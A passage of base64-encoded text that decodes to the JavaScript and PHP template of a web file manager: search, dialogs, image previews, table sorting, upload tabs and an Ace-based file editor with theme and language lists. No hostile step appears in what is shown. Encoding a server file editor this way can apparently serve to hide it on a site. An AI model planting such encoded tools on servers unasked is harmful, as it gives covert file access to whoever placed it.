oJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhICYmIGRhdGEubGVuZ3RoKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9XCJtLTJcIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKFwiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhXCIpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY29uZmlybURhaWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gXCJBY3Rpb25cIiwgY29udGVudCA9IFwiXCIsIGFjdGlvbiA9IG51bGwpIHtcbiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgY29uc3QgdHBsT2JqID0ge1xuICAgICAgICAgICAgICAgICAgICBpZCxcbiAgICAgICAgICAgICAgICAgICAgdGl0bGUsXG4gICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IGRlY29kZVVSSUNvbXBvbmVudChjb250ZW50LnJlcGxhY2UoXC9cXCtcL2csICcgJykpLFxuICAgICAgICAgICAgICAgICAgICBhY3Rpb25cbiAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgIGxldCB0cGwgPSAkKFwiI2pzLXRwbC1jb25maXJtXCIpLmh0bWwoKTtcbiAgICAgICAgICAgICAgICAkKFwiLm1vZGFsLmNvbmZpcm1EYWlsb2dcIikucmVtb3ZlKCk7XG4gICAgICAgICAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLCB0cGxPYmopKTtcbiAgICAgICAgICAgICAgICBjb25zdCAkY29uZmlybURhaWxvZyA9ICQoXCIjY29uZmlybURhaWxvZy1cIiArIHRwbE9iai5pZCk7XG4gICAgICAgICAgICAgICAgJGNvbmZpcm1EYWlsb2cubW9kYWwoJ3Nob3cnKTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICEgZnVuY3Rpb24ocykge1xuICAgICAgICAgICAgICAgIHMucHJldmlld0ltYWdlID0gZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IHMoZG9jdW1lbnQpLFxuICAgICAgICAgICAgICAgICAgICAgICAgdCA9IFwiLnByZXZpZXdJbWFnZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgYSA9IHMuZXh0ZW5kKHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB4T2Zmc2V0OiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5T2Zmc2V0OiAtMjAsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFkZUluOiBcImZhc3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3M6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogXCI1cHhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiBcIjFweCBzb2xpZCAjY2NjY2NjXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmFja2dyb3VuZC1jb2xvclwiOiBcIiNmZmZcIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnRTZWxlY3RvcjogXCJbZGF0YS1wcmV2aWV3LWltYWdlXVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGFLZXk6IFwicHJldmlld0ltYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgb3ZlcmxheUlkOiBcInByZXZpZXctaW1hZ2UtcGx1Z2luLW92ZXJsYXlcIlxuICAgICAgICAgICAgICAgICAgICAgICAgfSwgZSk7XG4gICAgICAgICAgICAgICAgICAgIHJldHVybiBvLm9mZih0KSwgby5vbihcIm1vdXNlb3ZlclwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwicCNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvID0gcyhcIjxwPlwiKS5hdHRyKFwiaWRcIiwgYS5vdmVybGF5SWQpLmNzcyhcInBvc2l0aW9uXCIsIFwiYWJzb2x1dGVcIikuY3NzKFwiZGlzcGxheVwiLCBcIm5vbmVcIikuYXBwZW5kKHMoJzxpbWcgY2xhc3M9XCJjLXByZXZpZXctaW1nXCI+JykuYXR0cihcInNyY1wiLCBzKHRoaXMpLmRhdGEoYS5kYXRhS2V5KSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgYS5jc3MgJiYgby5jc3MoYS5jc3MpLCBzKFwiYm9keVwiKS5hcHBlbmQobyksIG8uY3NzKFwidG9wXCIsIGUucGFnZVkgKyBhLnlPZmZzZXQgKyBcInB4XCIpLmNzcyhcImxlZnRcIiwgZS5wYWdlWCArIGEueE9mZnNldCArIFwicHhcIikuZmFkZUluKGEuZmFkZUluKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlb3V0XCIgKyB0LCBhLmV2ZW50U2VsZWN0b3IsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcyhcIiNcIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKVxuICAgICAgICAgICAgICAgICAgICB9KSwgby5vbihcIm1vdXNlbW92ZVwiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBzKFwiI1wiICsgYS5vdmVybGF5SWQpLmNzcyhcInRvcFwiLCBlLnBhZ2VZICsgYS55T2Zmc2V0ICsgXCJweFwiKS5jc3MoXCJsZWZ0XCIsIGUucGFnZVggKyBhLnhPZmZzZXQgKyBcInB4XCIpXG4gICAgICAgICAgICAgICAgICAgIH0pLCB0aGlzXG4gICAgICAgICAgICAgICAgfSwgcy5wcmV2aWV3SW1hZ2UoKVxuICAgICAgICAgICAgfShqUXVlcnkpO1xuXG4gICAgICAgICAgICAkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICB2YXIgJHRhYmxlID0gJCgnI21haW4tdGFibGUnKSxcbiAgICAgICAgICAgICAgICAgICAgdGFibGVMbmcgPSAkdGFibGUuZmluZCgndGgnKS5sZW5ndGgsXG4gICAgICAgICAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcpID8gWzAsIDQsIDUsIDZdIDogdGFibGVMbmcgPT0gNSA/IFswLCA0XSA6IFszXTtcbiAgICAgICAgICAgICAgICBtYWluVGFibGUgPSAkKCcjbWFpbi10YWJsZScpLkRhdGFUYWJsZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhZ2luZzogZmFsc2UsXG4gICAgICAgICAgICAgICAgICAgIGluZm86IGZhbHNlLFxuICAgICAgICAgICAgICAgICAgICBvcmRlcjogW10sXG4gICAgICAgICAgICAgICAgICAgIGNvbHVtbkRlZnM6IFt7XG4gICAgICAgICAgICAgICAgICAgICAgICB0YXJnZXRzOiBfdGFyZ2V0cyxcbiAgICAgICAgICAgICAgICAgICAgICAgIG9yZGVyYWJsZTogZmFsc2VcbiAgICAgICAgICAgICAgICAgICAgfV1cbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbigna2V5dXAnLCBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgbWFpblRhYmxlLnNlYXJjaCh0aGlzLnZhbHVlKS5kcmF3KCk7XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKGUua2V5Q29kZSA9PT0gMTMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZtX3NlYXJjaCgpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZWFyY2goKTtcbiAgICAgICAgICAgICAgICB9KTtcblxuICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnNcIikub24oXCJjbGlja1wiLCAnYScsIGZ1bmN0aW9uKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICBsZXQgdGFyZ2V0ID0gJCh0aGlzKS5kYXRhKCd0YXJnZXQnKTtcbiAgICAgICAgICAgICAgICAgICAgJChcIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC1oZWFkZXItdGFicyBhXCIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTtcbiAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygnYWN0aXZlJyk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtdGFicy1jb250YWluZXJcIikuYWRkQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgICAgICAkKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgIDxcL3NjcmlwdD5cblxuICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgaXNzZXQoJF9HRVRbJ2VudiddKSAmJiBGTV9FRElUX0ZJTEUgJiYgIUZNX1JFQURPTkxZKTpcbiAgICAgICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFtcImVkaXRcIl0sIFBBVEhJTkZPX0VYVEVOU0lPTik7XG4gICAgICAgICAgICAkZXh0ID0gICRleHQgPT0gXCJqc1wiID8gXCJqYXZhc2NyaXB0XCIgOiAgJGV4dDtcbiAgICAgICAgPz5cbiAgICAgICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KFwiZWRpdG9yXCIpO1xuICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZSh7XG4gICAgICAgICAgICAgICAgICAgIHBhdGg6IFwiYWNlXC9tb2RlXC88P3BocCBlY2hvICRleHQ7ID8+XCIsXG4gICAgICAgICAgICAgICAgICAgIGlubGluZTogdHJ1ZVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIGVkaXRvci5zZXRTaG93UHJpbnRNYXJnaW4oZmFsc2UpO1xuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGFjZV9jb21tZW5kKGNtZCkge1xuICAgICAgICAgICAgICAgICAgICBlZGl0b3IuY29tbWFuZHMuZXhlYyhjbWQsIGVkaXRvcik7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGVkaXRvci5jb21tYW5kcy5hZGRDb21tYW5kcyhbe1xuICAgICAgICAgICAgICAgICAgICBuYW1lOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgIGJpbmRLZXk6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpbjogJ0N0cmwtUycsXG4gICAgICAgICAgICAgICAgICAgICAgICBtYWM6ICdDb21tYW5kLVMnXG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgIGV4ZWM6IGZ1bmN0aW9uKGVkaXRvcikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWRpdF9zYXZlKHRoaXMsICdhY2UnKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1dKTtcblxuICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHtcbiAgICAgICAgICAgICAgICAgICAgdmFyICRtb2RlRWwgPSAkKFwic2VsZWN0I2pzLWFjZS1tb2RlXCIpLFxuICAgICAgICAgICAgICAgICAgICAgICAgJHRoZW1lRWwgPSAkKFwic2VsZWN0I2pzLWFjZS10aGVtZVwiKSxcbiAgICAgICAgICAgICAgICAgICAgICAgICRmb250U2l6ZUVsID0gJChcInNlbGVjdCNqcy1hY2UtZm9udFNpemVcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICBvcHRpb25Ob2RlID0gZnVuY3Rpb24odHlwZSwgYXJyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICRPcHRpb24gPSBcIlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICQuZWFjaChhcnIsIGZ1bmN0aW9uKGksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT3B0aW9uICs9IFwiPG9wdGlvbiB2YWx1ZT0nXCIgKyB0eXBlICsgaSArIFwiJz5cIiArIHZhbCArIFwiPFwvb3B0aW9uPlwiO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkT3B0aW9uO1xuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIF9kYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWNlVGhlbWVcIjoge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImJyaWdodFwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNocm9tZVwiOiBcIkNocm9tZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjbG91ZHNcIjogXCJDbG91ZHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3JpbXNvbl9lZGl0b3JcIjogXCJDcmltc29uIEVkaXRvclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXduXCI6IFwiRGF3blwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmVhbXdlYXZlclwiOiBcIkRyZWFtd2VhdmVyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImVjbGlwc2VcIjogXCJFY2xpcHNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdpdGh1YlwiOiBcIkdpdEh1YlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJpcGxhc3RpY1wiOiBcIklQbGFzdGljXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNvbGFyaXplZF9saWdodFwiOiBcIlNvbGFyaXplZCBMaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0bWF0ZVwiOiBcIlRleHRNYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRvbW9ycm93XCI6IFwiVG9tb3Jyb3dcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieGNvZGVcIjogXCJYQ29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJrdXJvaXJcIjogXCJLdXJvaXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia2F0emVubWlsY2hcIjogXCJLYXR6ZW5NaWxjaFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzcWxzZXJ2ZXJcIjogXCJTUUwgU2VydmVyXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXJrXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYW1iaWFuY2VcIjogXCJBbWJpYW5jZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjaGFvc1wiOiBcIkNoYW9zXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb3Vkc19taWRuaWdodFwiOiBcIkNsb3VkcyBNaWRuaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmFjdWxhXCI6IFwiRHJhY3VsYVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjb2JhbHRcIjogXCJDb2JhbHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3J1dmJveFwiOiBcIkdydXZib3hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ29iXCI6IFwiR3JlZW4gb24gQmxhY2tcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaWRsZV9maW5nZXJzXCI6IFwiaWRsZSBGaW5nZXJzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImtyX3RoZW1lXCI6IFwia3JUaGVtZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtZXJiaXZvcmVcIjogXCJNZXJiaXZvcmVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVyYml2b3JlX3NvZnRcIjogXCJNZXJiaXZvcmUgU29mdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtb25vX2luZHVzdHJpYWxcIjogXCJNb25vIEluZHVzdHJpYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibW9ub2thaVwiOiBcIk1vbm9rYWlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzdGVsX29uX2RhcmtcIjogXCJQYXN0ZWwgb24gZGFya1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzb2xhcml6ZWRfZGFya1wiOiBcIlNvbGFyaXplZCBEYXJrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRlcm1pbmFsXCI6IFwiVGVybWluYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRcIjogXCJUb21vcnJvdyBOaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9ibHVlXCI6IFwiVG9tb3Jyb3cgTmlnaHQgQmx1ZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9icmlnaHRcIjogXCJUb21vcnJvdyBOaWdodCBCcmlnaHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXNcIjogXCJUb21vcnJvdyBOaWdodCA4MHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidHdpbGlnaHRcIjogXCJUd2lsaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aWJyYW50X2lua1wiOiBcIlZpYnJhbnQgSW5rXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhY2VNb2RlXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhc2NyaXB0XCI6IFwiSmF2YVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFiYXBcIjogXCJBQkFQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWJjXCI6IFwiQUJDXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWN0aW9uc2NyaXB0XCI6IFwiQWN0aW9uU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWRhXCI6IFwiQURBXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYXBhY2hlX2NvbmZcIjogXCJBcGFjaGUgQ29uZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFzY2lpZG9jXCI6IFwiQXNjaWlEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc2xcIjogXCJBU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc3NlbWJseV94ODZcIjogXCJBc3NlbWJseSB4ODZcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhdXRvaG90a2V5XCI6IFwiQXV0b0hvdEtleVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFwZXhcIjogXCJBcGV4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmF0Y2hmaWxlXCI6IFwiQmF0Y2hGaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYnJvXCI6IFwiQnJvXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY19jcHBcIjogXCJDIGFuZCBDKytcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjOXNlYXJjaFwiOiBcIkM5U2VhcmNoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY2lycnVcIjogXCJDaXJydVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb2p1cmVcIjogXCJDbG9qdXJlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY29ib2xcIjogXCJDb2JvbFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvZmZlZVwiOiBcIkNvZmZlZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvbGRmdXNpb25cIjogXCJDb2xkRnVzaW9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NoYXJwXCI6IFwiQyNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfZG9jdW1lbnRcIjogXCJDc291bmQgRG9jdW1lbnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfb3JjaGVzdHJhXCI6IFwiQ3NvdW5kXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NvdW5kX3Njb3JlXCI6IFwiQ3NvdW5kIFNjb3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NzXCI6IFwiQ1NTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3VybHlcIjogXCJDdXJseVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRcIjogXCJEXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZGFydFwiOiBcIkRhcnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkaWZmXCI6IFwiRGlmZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRvY2tlcmZpbGVcIjogXCJEb2NrZXJmaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZG90XCI6IFwiRG90XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZHJvb2xzXCI6IFwiRHJvb2xzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZWRpZmFjdFwiOiBcIkVkaWZhY3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlaWZmZWxcIjogXCJFaWZmZWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlanNcIjogXCJFSlNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbGl4aXJcIjogXCJFbGl4aXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbG1cIjogXCJFbG1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlcmxhbmdcIjogXCJFcmxhbmdcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb3J0aFwiOiBcIkZvcnRoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZm9ydHJhblwiOiBcIkZvcnRyYW5cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2hhcnBcIjogXCJGU2hhcnBcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2xcIjogXCJGU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmdGxcIjogXCJGcmVlTWFya2VyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2NvZGVcIjogXCJHY29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdoZXJraW5cIjogXCJHaGVya2luXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2l0aWdub3JlXCI6IFwiR2l0aWdub3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2xzbFwiOiBcIkdsc2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2JzdG9uZXNcIjogXCJHb2JzdG9uZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2xhbmdcIjogXCJHb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdyYXBocWxzY2hlbWFcIjogXCJHcmFwaFFMU2NoZW1hXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3Jvb3Z5XCI6IFwiR3Jvb3Z5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFtbFwiOiBcIkhBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYW5kbGViYXJzXCI6IFwiSGFuZGxlYmFyc1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhhc2tlbGxcIjogXCJIYXNrZWxsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgI